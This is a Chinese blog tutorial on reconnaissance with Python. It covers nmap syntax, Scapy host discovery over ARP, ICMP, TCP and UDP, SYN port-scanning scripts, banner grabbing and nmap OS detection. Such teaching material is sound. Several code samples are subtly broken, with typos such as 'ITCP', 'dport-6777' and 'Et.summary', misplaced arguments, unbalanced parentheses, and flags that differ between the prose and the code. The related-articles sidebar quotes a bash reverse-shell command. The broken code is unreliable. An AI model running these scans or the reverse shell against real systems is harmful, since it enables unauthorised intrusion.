“人生苦短，我用Python“——情报收集

最新推荐文章于 2023-02-14 18:54:34 发布
最新推荐文章于 2023-02-14 18:54:34 发布
阅读量1k 收藏 4
点赞数
分类专栏： 网络安全 文章标签： python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42902126/article/details/127437018
版权

情报收集

情报收集

简述nmap使用语法

选择扫描目标的语法如下：

  1. 扫描指定IP主机：nmap 192.168.169.133
  2. 扫描指定域名主机：nmap www.nmap.com
  3. 扫描指定范围主机：nmap 192.168.169.1-20
  4. 扫描一个子网主机：nmap 192.168.169.0/24

对目标的端口进行扫描：

  1. 扫描一个主机的特定端口：nmap -p 192.168.169.1
  2. 扫描指定范围端口：nmap -p 1-80 192.168.169.1
  3. 扫描100个最为常用的端口：nmap -F 192.168.169.1

对目标端口状态进行扫描：

  1. 使用TCP全开扫描：nmap -sT 192.168.169.1
  2. 使用TCP半开扫描：nmap -sS 192.168.169.1
  3. 使用UDP扫描：nmap -sU -p 123,161,162 192.168.169.1

对目标操作系统和运行服务进行扫描：

  1. 扫描目标主机上运行的操作系统：nmap -O 192.168.169.1
  2. 扫描目标主机上运行的服务类型：nmap -sV 192.168.169.1

主机扫描

基于ARP的活跃主机发现技术

ARP的中文名字是“地址解析协议”，主要用在以太网中。需要明确的是，所有的主机在互联网中通信的时候使用的是IP地址，而在以太网中通信时使用的却是硬件地址(MAC地址)。
现在来编写一个利用ARP实现的活跃主机扫描程序，这个程序有很多方式可以实现，首先借助Scapy库来完成。其核心思想就是要产生一个ARP请求，首先产看Scapy库中ARP类型数据包中需要的参数。
在这里插入图片描述
这里面的大多数参数都有默认值，其中，hwsrc和psrc分别是源硬件地址和源IP地址。这两个地址不用设置，发送的时候会自动填写本机的地址。唯一需要设置的是目的地址pdst，将这个地址设置为目标即可。

另外，因为发送的是广播数据包，所以需要在Ether层进行设置，首先查看一下Ether的格式
在这里插入图片描述
这一层只有三个参数：dst是目的硬件地址，src是源硬件地址，这里面src会自动设置为本机地址。所以只需要将dst设置为ff:ff:ff:ff:ff:ff即可将数据包发到网络中的各个主机上。

下面构造一个扫描192.168.26.100的ARP请求数据包并将其发送出去

ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.26.100"),timeout=2)

在这里插入图片描述
对这个请求的回应进行监听，如果得到回应，那么证明目标在线，并打印输出这个主机的硬件地址。

ans,unans=srp(Et.summary(lambda(s,r):r.sprintf("%Ether.src% %ARP.psrc%"))
#lambda：匿名函数，括号里面我们要传递的参数，冒号后面的数据相当于return返回一个结果

在这里插入图片描述

基于ICMP的活跃主机发现技术

ICMP位于TCP/IP协议族中的网络层，它的目的是用于在IP主机、路由器之间传递控制消息。
ICMP中提供了多种报文，这些报文又可以分成两大类：差错报文和查询报文。其中，查询报文都是一个由请求和一个应答构成的。
ICMP查询报文有4中，分别是相应请求或应答、时间戳请求或应答、地址掩码请求或应答、路由器询问或应答。Ping命令就是相应请求或应答的一种应用，我们经常会使用这个命令来测试本地和目标之间的连通性。

例如我们所在主机IP为192.168.1.1，而通信的目标地址为192.168.1.2，如果要判断192.168.1.2是否为活跃主机，就需要向其发送一个ICMP请求，这个请求的格式如下：
IP层内容：源IP：192.168.1.1，目标IP：192.168.1.2
ICMP层内容：Type：8(表示请求)/0(表示应答)

编写一个利用ICMP实现的活跃主机扫描程序，借助Scapy库来完成。
其核心思想就是产生一个ICMP请求，首先查看Scapy库中ICMP类型数据包中需要的参数。
在这里插入图片描述
这一层和地址有关的参数有两个：dst是目的IP地址，src是源IP地址。
src会自动设置为本机地址。所以只需要将dst设置为“192.168.26.100”即可将数据包发到目标主机上。接下来构造一个扫描192.168.26.100的ICMP请求数据包并将其发送出去。

ans,unans=sr(IP(dst="192.168.26.100")/ICMP())

对这个请求的回应进行监听，如果得到了回应，那么证明目标在线，并打印输出这个主机的IP地址。

ans.summary(lambda (s,r) : r.sprintf("%IP.src% is alive"))

在这里插入图片描述

基于TCP的活跃主机发现技术

TCP是一个位于传输层的协议。它是一中面向连接的、可靠的、基于字节流的传输层通信协议。
TCP的特点是使用三次握手协议建立连接。当主动放发出SYN连接请求后，等待对方的回答TCP的三次握手SYN+ACK，并对最终对对方的SYN执行ACK确认。这种建立连接的方法可以防止产生错误的连接。

如果检测到一台主机的某个端口有回应，也一样可以判断这台主机是活跃的。如果一台主机处于活跃状态，那么它的端口即使是关闭的，在收到请求时，也会给出一个回应，只不过并不是一个“SYN+ACK”数据包，而是一个拒绝连接的“RST”数据包。

编写一个利用TCP实现的活跃主机扫描程序，这个程序有很多种方式可以实现，首先借助Scapy库来完成。
首先查看Scapy库中TCP类型数据包中需要的参数
在这里插入图片描述
这里的大多数参数都不需要设置，需要考虑的是sport、dport和flags。

sport是源端口，dport是目的端口，flags是标志位，可能的值包括SYN（建立连接）、FIN（关闭连接）、ACK（响应）、PSH（DATA数据传输）、RST（连接重置）。此处将flags设置为“S”，也就是SYN。另外TCP并没有目标地址和源地址，需要在IP层进行设置。

ans,unans=sr(IP(dst="192.168.26.100")/ITCP(dport=80,flags="S"))
ans.summary(lambda(s,r):r.sprintf("%IP.src% is alive"))

在这里插入图片描述

基于UDP的活跃主机发现技术

UDP全称是用户数据报协议，在网络中它与TCP一样用于处理数据包，它是一种无连接的协议。在OSI模型中位于第4层——传输层。
但基于UDP的活跃主机发现技术和TCP不同，UDP没有三次握手。

当向目标发送一个UDP数据包之后，目标是不会发回任何UDP数据包的。不过，如果目标主机是处于活跃状态的，但是目标端口是关闭的时候，可以返回一个ICMP数据包，这个数据包的含义为“unreachable”，如果目标主机不处于活跃状态，这时是收不到任何回应的。

构造一个发往192.168.26.100的6677端口的UDP数据包并将其发送出去。

ans,unans=sr(IP(dst="192.168.26.100")/UDP(dport-6777))

对于这个请求的回应进行监听，如果得到了回应，当然这个回应是ICMP类型的，就证明目标在线，并打印输出这个主机的IP地址

ans.summary(lambda(s,r):r.sprintf("%IP.src% is alive"))

在这里插入图片描述

端口扫描

  • 在信息收集阶段就需要对目标的端口开放情况进行扫描：①因为一方面这些端口可能成为进出的通道②另一方面利用这些端口可以进一步获得目标主机上运行的服务，从而找到可以进行渗透的漏洞。
  • 对于网络安全管理人员来说，对管理范围内主机进行端口扫描也是做好防范措施的第一步。
  • 正常情况下，端口只有open(开放)和close(关闭)两种状态。
  • 但是有时网络安全机制会屏蔽对端口的探测，因此端口状态可能会出现无法判断的情况，所以在探测的时候需要为端口加上一个filtered状态，表示无法获悉目标端口的真正状态。

基于TCP全开的端口扫描技术

TCP全开扫描：如果目标端口是开放的，那么在接到主机端口发出的SYN请求之后，就会返回一个SYN+ACK回应，表示愿意接受这次连接的请求，然后主机端口再回应一个ACK，这样就成功地和目标端口建立了一个TCP连接。
在这里插入图片描述
如果端口是关闭的，那么在接到主机端口发出的SYN请求之后，就会返回一个RST回应，表示不接受这次连接的请求，这样就中断了这次TCP连接。
在这里插入图片描述
目标端口不开放还有另外一种情况，就是当主机端口发出SYN请求之后，没有收到任何的回应。多种原因都可能造成这种情况，例如，目标主机处于非活跃状态，这时当然无法进行回应，不过这也可以认为端口是关闭的。另外一些网络安全设备也会屏蔽掉对某些端口的SYN请求，这时也会出现无法进行回应的情况。
在这里插入图片描述
利用Scapy模块构造一个TCP，SYN数据包。

packet = IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S")

然后使用sr1函数将这个数据包发送出去

resp=sr1(packet,timeout=10)

要根据收到应答包来判断目标端口的状态，这时会出现三种情况：

  • 第一种： 如果此时resp的值是空，就表示没有收到来自目标的回应。 使用str(type(resp))来判断这个resp是不是空，当type(resp)的值转换字符串之后为“<type ‘NoneType’>”时就表明resp是空，也就是没有收到任何数据包，判断该端口为closed。如果不是这个值，即不为空，也就是收到了相应包，转第二种或第三种。
  • 第二种： 当收到了回应数据包之后，需要判断一下这个数据包是“SYN+ACK”类型还是“RST”类型。 在Scapy中数据包的构造是分层的，可以使用haslayer()函数来判断这个函数是否具有某一个协议。例如，判断一个数据包是否使用了TCP，就可以使用haslayer(TCP)来判断。也可以使用getlayer(TCP)来读取其中某个字段内容来判断，语句resp.getlayer(TCP).flags==0x12 #12就是SYN+ACK 来判断回应数据包是否为“SYN+ACK”。如果结果为真，表示目标接受TCP请求，需要继续发送一个ACK数据包过去，完成三次握手：IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="AR")
  • 第三种：如果resp.getlayer(TCP).flags的结果不是0x12，而是0x14(表示RST)，那么表明端口是关闭的：resp.getlayer(TCP).flags==0x14
    按照上面的思路编写一个基于TCP全开的完整端口扫描程序
import sys
from scapy.all import *
if len(sys.argv)!=3:
	print('Usage:PortScan<IP>\n eg:PortScan 192.168.1.1 80')
	sys.exit(1)

dst_ip=sys.argv[1]
src_port=RandShort()#产生随机端口
dst_port=int(sys.argv[2])
packet=IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags='S')
resp=sr1(packet,timeout=10)

if(str(type(resp))=="<type 'NoneType'>"):
	print("The port %s Closed" % dst_port)
elif(resp.haslayer(TCP)):
	if(resp.getlayer(TCP).flags==0x12):
		send_rst=sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="A",timeout=10)
		print("The port %s is Open" % dst_port)
	elif(resp.getlayer(TCP).flags==0x14):
		print("The port %s is Closed" % dst_port)

在这里插入图片描述
注释：if len(sys.argv)!=3——len：表示长度 判断sys.argv有多少个元素 (sys.argv是一个列表[“文本文件路径，“192.168.1.1”，“80”]) ，当我们运行py文件时，在列表中上传了一个文件路径信息，所以是三个参数。

基于TCP半开的端口扫描技术

基于TCP全开的端口扫描技术还有一些不完善的地方。例如，这次连接可能会被目标主机的日志记录下来，而且最为重要的是建立TCP连接三次握手中的最后一次是没用的，在目标返回一个SYN+ACK类型的数据包之后，已经达到了探测的目的，最后发送的ACK类型数据包是不必要的，所以可以考虑去除这一步。
扫描思想： 如果目标端口是开放的，那么在接到主机端口发出的SYN请求之后，就会返回一个SYN+ACK回应，表示愿意接受这次连接的请求，然后主机端口不再回应一个ACK，而是发送一个RST表示中断这个连接。这样实际上并没有建立好完整的TCP连接，所以称为半开连接。如果端口关闭，半开扫描和全开扫描没有区别。

半开扫描实例中，考虑一种更为复杂的情况，那么是目标端口的filtered状态。这种状态往往是由包过滤机制造成的，过滤可能来自专业的防火墙设备、路由器规则或者主机上的软件防火墙。这种情况下会让扫描工作变得很难，因为这些端口几乎不提供任何信息。不过有时候它们也会相应ICMP错误消息，但更多的时候包过滤机制不做出任何相应。
在这里插入图片描述
将没有收到回应数据包的端口归于“filtered”状态。

当TCP连接的数据包被屏蔽时，一般会返回如下所示的集中ICMP错误消息。

类型(TYPE)代码(CODE)意义
31主机不可达
32协议不可达
33端口不可达
39目的网络被强制禁止
310目的主机被强制禁止
313由于过滤，通信被强制禁止

如果收到这集中类型的ICMP数据包，也将目标端口的状态归类到“filtered”。
所以在编程时，要考虑如下两种情况

if(str(type(stealth_scan_resp))=="<type 'NoneType'>"):#表示没有收到任何的回应数据包
if(int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in[1,2,3,9,10,13]):#表示收到的是ICMP类型数据包。

import sys
from scapy.all import *
if len(sys.argv)!=3:
	print('Usage:PortScan<IP>\n eg:PortScan 192.168.1.1 80')
	sys.exit(1)

dst_ip=sys.argv[1]
src_port=RandShort()#产生随机端口
dst_port=int(sys.argv[2])
packet=IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags='S')
resp=sr1(packet,timeout=10)

if(str(type(resp))=="<type 'NoneType'>"):
	print("The port %s Closed" % dst_port)
elif(resp.haslayer(TCP)):
	if(resp.getlayer(TCP).flags==0x12):
		send_rst=sr(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="R",timeout=10)
		print("The port %s is Open" % dst_port)
	elif(resp.getlayer(TCP).flags==0x14):
		print("The port %s is Closed" % dst_port)
elif(resp.haslayer(ICMP)):
	if(int(resp.getlayer(ICMP).type)==3 and int(resp.getlayer(ICMP).code) in[1,2,3,9,10,13]):
		print("The port %s is Filtered" % dst_port)

服务扫描

平时所使用的软件除了操作系统之外，还有大量的其他应用程序。有些个人开发的应用软件大都存在着漏洞，它们更是网络安全的重灾区。
如果目标使用这些软件对外提供网络服务，攻击者就有可能利用这个网络服务的漏洞入侵。
因此，在对目标进行渗透测试时，要尽量地检测出目标系统运行的各种服务。对于入侵者来说，发现这些运行在目标上的服务，就可以利用这些软件上的漏洞入侵目标；对于网络安全的维护者来说，也可以提前发现系统的漏洞，从而预防这些入侵行为。
服务扫描思路：
常见的服务都会运行在指定的端口上。例如FTP服务上总会运行在21号端口上，而HTTP服务总会运行在80端口上。因为这些端口都是公知端口，所以只需要知道目标上哪个端口是开放的，就可以猜测出目标上运行着什么服务。

不过这样做有两个明显缺点：

  1. 一是很多人会将服务运行在其他端口上，例如，将本来运行在23号端口上的telnet运行在22号端口上，这样就会误以为这是一个SSH服务。
  2. 二是这样得到的信息极为有限，即使知道目标80端口上运行着HTTP服务，但是完全不知道是什么软件提供的这个服务，也就无从查找这个软件的漏洞了。

解决方法:

  • 有一些扫描工具采用了抓取软件banner的方法，因为很多软件都会在连接之后提供一个表明自身信息的banner，可以编写程序来抓取这个banner从中读出目标软件的信息。
  • 最后也是最为优秀的一种方法，就是向目标开放的端口发送探针数据包，然后根据返回的数据包与数据库中的记录进行对比，找出具体的服务信息。Nmap扫描工具就是采用了这种方法，它包含一个十分强大的Nmap-service-probe数据库，这个库中包含世界上大部分常见软件的信息，而且这个库还在完善中。

利用抓取软件banner的方式

首先引入需要的Socket库：import socket
然后初始化一个TCP类型的Socket：s=socket.socket()
使用这个Socket去连接127.0.0.1的21端口(测试本机)：s.connect(("127.0.0.1",21))
连接成功之后，向目标发送任意的一段数据：s.send('1111111')
目标会将自己的banner作为应答信息返回：banner=s.recv(1024)
关闭这个连接：s.close() 打印输出得到bannner：print('Banner:{}'.format(banner))

代码如下

import sys
import socket

if len(sys.argv)!=3:
	print('Usage:PortScan<IP>\n eg:PortScan 192.168.1.1 80')
	sys.exit(1)

target=sys.argv[1]
port=int(sys.argv[2])
s=socket.socket()
res=s.connect((target,port))
s.send('111111')
service=s.recv(1024)
s.close()
print("Port in {}".format(port)+"Service:{}".format(service))

执行

在这里插入图片描述

使用更为强大的Nmap库

扫描过程很简单，核心语句变成了nm.scan(target,port,“-sV”)，关键是对扫描结果的处理。

import sys
import nmap

if len(sys.argv)!=3:
	print('Usage:PortScan<IP>\n eg:PortScan 192.168.1.1 80')
	sys.exit(1)

target=sys.argv[1]
port=sys.argv[2]

nm=nmap.PortScanner()
nm.scan(target,port,"-sV")
for host in nm.all_hosts():
	for proto in nm[host].all_protocols():
		lport=nm[host][proto].keys()
		lport.sort()
		for port in lport:
			print("port : %s\t product : %s" % (port,nm[host][proto][port]['product']))

在这里插入图片描述

操作系统扫描

很多著名的工具都提供了远程对操作系统进行检测的功能。这一点用在入侵上就可以称为黑客的工具，而用在网络管理上就可以进行资产管理和操作系统补丁管理。
但是并没有一种工具可以提供绝对准确的远程操作系统信息。几乎所有的工具都使用了一种“猜”的方法。当然这不是凭空猜测。
目前远程对操作系统继续宁检测的方法一般可以分成以下两类：

  1. 被动式方法：这种方法是通过抓包工具来收集流经网络的数据包，再从这些数据包中分析出目标主机的操作系统信息。
  2. 主动式方法：向目标主机发送特定的数据包，目标主机一般会对这些数据包做出回应，对这些回应做出分析，就有可能得知远程主机的操作系统类型。这些信息可以是正常的网络程序如Telnet、FTP等与主机交互的数据包，也可以是一些经过精心构造、正常的或残缺的数据包。

第一种被动式方法p0f

p0f就是一款典型的被动式扫描工具。p0f可以自动地捕获网络中通信的数据包，并对其进行分析，使用的方法很简单，可以在命令行中直接输入“p0f”
在这里插入图片描述
然后，打开浏览器访问如：web服务器，就会产生如下结果
在这里插入图片描述

第二种主动式方法nmap

采用向目标发送数据包的方式来检测，但是这需要设计一系列的探针式数据包，并将各种操作系统的反应保存为一个数据库。
使用nmap库文件来编写一个主动式扫描程序，首先还是命令行中来实现这个程序
首先导入Nmap库：import nmap
然后床架你要给PortScanner对象出来：nm=nmap.PortScanner()
对目标主机进行扫描，扫描的参数为“-O”：nm.scan('192.168.0.104','-o')

扫描结果如下：
在这里插入图片描述
这个扫描的结果看起来有点乱，可以使用osmatch
在这里插入图片描述
osmatch是一个字典类型，用来存储操作系统的匹配信息，它包括’accuracy’ ‘line’ ‘osclass’三个键，而’osclass‘中包含关键信息，它本身也是一个字典类型，其中包含’accuracy’(匹配度)、‘cpe’(通用平台枚举)、‘osfamily’(系统类别)、‘osgen’(第几代操作系统)、‘type’(设备类型)、‘vendor’(生产厂家)6个键。

下面是一个使用Nmap库编写完整程序

import nmap
import sys

if len(sys.argv)!=2:
	print('Usage:OSsacn <IP>\n eg: OSscan 192.168.1.1')
	sys.exit(1)

target=sys.argv[1]
nm=nmap.PortScanner()
nm.scan(target,arguments="-O")
if 'osmatch' in nm[target]:
	for osmatch in nm[target]['osmatch']:
		print('OsMatch.name:{}'.format(osmatch['name'])) 
		print('OsMatch.accuracy:{}'.format(osmatch['accuracy']))#匹配度
		print('OsMatch.line:{}'.format(osmatch['line']))
		print('')
		
		if 'osclass' in osmatch:
			for osclass in osmatch['osclass']:
				print('OsMatch.type:{}'.format(osmatch['type']))
				print('OsMatch.vendor:{}'.format(osmatch['vendor']))
				print('OsMatch.osfamily:{}'.format(osmatch['osfamily']))
				print('OsMatch.osgen:{}'.format(osmatch['osgen']))
				print('OsMatch.accuracy:{}'.format(osmatch['accuracy']))
				print('')

在这里插入图片描述

小不为霸
关注
专栏目录
Python实验三：秘密情报信息
CSDN 精品推荐
12-18 384
ASCII码：美国信息交换标准代码是基于拉丁字母的一套电脑编码系统，只要用于显示现代英语和其他西欧语言。 应用ord（）函数吧字符转换成一个ASCII码表中的十进制数字。 利用这个思路，我们可以把一个消息全部转换成这样的数字 源码： if __name__ == '__main__': message = input('please input your message') result = '' for i in message: result += str(ord
[Python从零到壹] 五十八.图像增强及运算篇之图像锐化Sobel、Laplacian算子实现边缘检测
杨秀璋的专栏
12-17 3729
欢迎大家来到“Python从零到壹”，在这里我将分享约200篇Python系列文章，带大家一起去学习和玩耍。第二部分将讲解图像运算和图像增强，上一篇文章介绍图像锐化的Roberts算子和Prewitt算子。这篇文章将继续讲解图像锐化知识，即Sobel算子和Laplacian算子。希望文章对您有所帮助，如果有不足之处，还请海涵。
Python程序设计-安全渗透测试-情报收集
Xunuannuan的博客
04-26 832
信息收集基础
Python 一个超快的公共情报搜集爬虫
Python实用宝典网
05-26 847
Photon是一个由s0md3v开源的情报搜集爬虫，其主要功能有： 1.爬取链接(内链、外链)。 2.爬取带参数的链接，如(pythondict.com/test?id=2)。 3.文件(pdf, png, xml)。 4.密钥(在前端代码中不小心被释放出来的)。 5.js文件和Endpoint(spring中比较重要的监视器) 6.匹配自定义正则表达式的字符串。 7.子域名和DNS相关数据。 你可以用它来干很多事，比如爬图片、找漏洞、找子域名、爬数据等等。而且提取出来的数据格式非常整洁： 不仅如此，它甚
【Python小练习】实现威胁情报监控报警
慢就是快
02-03 1023
文章目录1.需求2.原理3.实现4.效果5.其他优化 1.需求 作为一名安全打工仔，经常忙于各种漏洞追踪复现，但是天天频繁看网站更新太费精力，所以打算写个情报监控，脚本挂在服务器上跑，网站一更新，就发信息到微信提醒。临时写的demo，比较糙，将就看吧。 2.原理 监控网站（以腾讯安全为例） https://s.tencent.com/research/bsafe/ 监控主要元素如下： 流程示意图： 爬取网站：request模块 提取元素：re beautifulsoup模块 时间比较：time 模块
【文本挖掘学习交流】用Python带你走进神秘的“谍纸天眼”...
houpeng1215的博客
08-30 8885
     近期热播的电视剧《楚乔传》即将迎来收尾，观众在网络中的讨论声一直高涨不减，尤其是对里面“谍纸天眼”的热情丝毫不亚于当年的“洪荒之力”。“谍纸天眼”的主要职能就是为国家（皇帝）进行情报搜集、分析处理，并执行一些秘密任务。分布在天下各个角落的谍者将搜集的军事、门阀、官员和民情等各类情报送到谍纸楼进行分析处理并存档，然后再将结果交给上层管理者或等其需要的时候随时调取查
python爬虫——抢课原理.zip
12-23
Python爬虫源码大放送：抓取数据，轻松搞定！...无论你是想要分析竞品数据、收集行业情报，还是想要偷窥某个女神的社交媒体动态，这些源码都能满足你的需求。 是时候打破技术壁垒，开启数据抓取的新篇章了
python爬虫与数据可视化（一）—— 爬取猫眼电影（涉及爬虫反破解）.zip
最新发布
12-23
Python爬虫源码大放送：抓取数据，轻松搞定！...无论你是想要分析竞品数据、收集行业情报，还是想要偷窥某个女神的社交媒体动态，这些源码都能满足你的需求。 是时候打破技术壁垒，开启数据抓取的新篇章了
[Python从零到壹] 五十七.图像增强及运算篇之图像锐化Roberts、Prewitt算子实现边缘检测
杨秀璋的专栏
12-13 4667
欢迎大家来到“Python从零到壹”，在这里我将分享约200篇Python系列文章，带大家一起去学习和玩耍。第二部分将讲解图像运算和图像增强，上一篇文章介绍图像平滑知识，包括中值滤波和双边滤波。本文主要讲解常见的图像锐化和边缘检测方法，即Roberts算子和Prewitt算子。希望文章对您有所帮助，如果有不足之处，还请海涵。
[Python从零到壹] 五十九.图像增强及运算篇之图像锐化Scharr、Canny、LOG实现边缘检测
杨秀璋的专栏
12-21 4288
欢迎大家来到“Python从零到壹”，在这里我将分享约200篇Python系列文章，带大家一起去学习和玩耍。第二部分将讲解图像运算和图像增强，上一篇文章介绍图像锐化的Sobel算子和Laplacian算子。本文主要讲解常见的图像锐化和边缘检测方法，即Scharr算子、Canny算子和LOG算子。希望文章对您有所帮助，如果有不足之处，还请海涵。
p0f 被动式的指纹识别工具
04-23
分析网络通信识别远端的操作系统和应用软件,检测NAT、连接共享等
python端口通信_Python实现TCP/IP协议下的端口转发及重定向示例
weixin_34549315的博客
02-04 1169
首先，我们用webpy写一个简单的网站，监听8080端口，返回“Hello, EverET.org”的页面。然后我们使用我们的forwarding.py，在80端口和8080端口中间建立两条通信管道用于双向通信。此时，我们通过80端口访问我们的服务器。浏览器得到：然后，我们在forwarding.py的输出结果中可以看到浏览器和webpy之间的通信内容。代码：#!/usr/bin/env pyth...
Python程序设计——安全渗透测试的常见模块
bluepangzi的博客
03-29 1002
安全渗透测试的常见模块一、Socket 模块1.实例化 Socket 类2.Socket常用的函数—服务端函数bind()：listen()：accept()：3.客户端的函数send()：sendall()：recv()：sendto()：recvfrom()：4.使用Socket编写一个简单的服务端和客户端二、python-nmap模块1.python-nmap安装过程2.python-nmap模块类的实例化PortScanner类3.python-nmap模块中的函数scan()函数：参数hosts参
python 渗透测试基础-网络通讯
慕容卡卡
03-23 1299
本文转载自【 python 渗透测试基础-网络通讯】https://www.lzfkj.vip/post/20 文章目录python 渗透测试基础-网络通讯简述TCP实例TCP 服务端TCP 客户端运行结果TCP的另外一个客户端TCP的SSL请求客户端UDP实例UDP 服务端UDP 客户端 python 渗透测试基础-网络通讯 简述     在很多情况下，我们所在的测试环境并没有给我们提供很多有利的条件，特别是在一些审计等级高的地方，更是直接断开物理连接；除了这个方式
渗透中反弹shell与端口
千寻的博客
01-03 1849
渗透中反弹shell与端口 bash版本： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 注意这个是由解析shell的bash完成，所以某些情况下不支持 python版本: `python-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_S...
python网络渗透入门_利用Python进行Web渗透测试（四）：HTTP协议基础
weixin_39890543的博客
12-10 239
本篇将会涉及：什么是HTTP，以及HTTP的工作方式HTTP的方法一、什么是HTTPHTTP协议HTTP全称超文本传输协议，一个设计用来来客户端和服务器之间进行通信的协议。HTTP在网络世界中属于OSI模型的第七层——应用层，也属于TCP/IP模型的第四层——应用层。关于什么是OSI模型，什么又是TCP/IP模型，简而言之，其是计算机网络世界的一个网络体系结构，用来定义计算机网络及其各个部分通信的...
靶机渗透测试（Mr-Robot: 1）
@小张小张的博客
11-05 1291
靶机渗透测试（Mr-Robot: 1）： Vulnhub靶机 Mr-Robot: 1 靶机：修改靶机的网络配置为桥接模式。 攻击机：Kali虚拟机，同样使用桥接模式，即可访问靶机。 靶机难度：（beginner-intermediate.） 目标：This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find 进
靶机渗透之Typhoon实战
weixin_52924983的博客
02-08 873
本次的Typhoon靶机包含了几个漏洞和配置错误。你们可以用这个靶机来测试网络服务漏洞，配置错误，web应用漏洞，也可以进行密码破解攻击，提权，后渗透，还可以进行信息收集和DNS攻击。 靶机下载地址：https://www.vulnhub.com/entry/typhoon-102,267/ 渗透测试方法 · 网络扫描(Netdiscover和Nmap都行) · 方法一：利用MongoDB进行入侵 · 查看robots.txt · 通过浏览器利用MongoDB · 获取凭证 · SSH登录 · 查看内核版本
【Python安全编程】Python实现网络主机和端口扫描
monster663的博客
02-14 3493
Python实现网络主机和端口扫描
人生苦短我用python代码
08-10
人生苦短，我用Python的代码可以使用循环语句和打印语句来实现。根据引用中的示例代码，可以使用for循环和print函数来实现输出多次"人生苦短，我用Python"的效果。具体代码如下： ```python for _ in range(3): ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值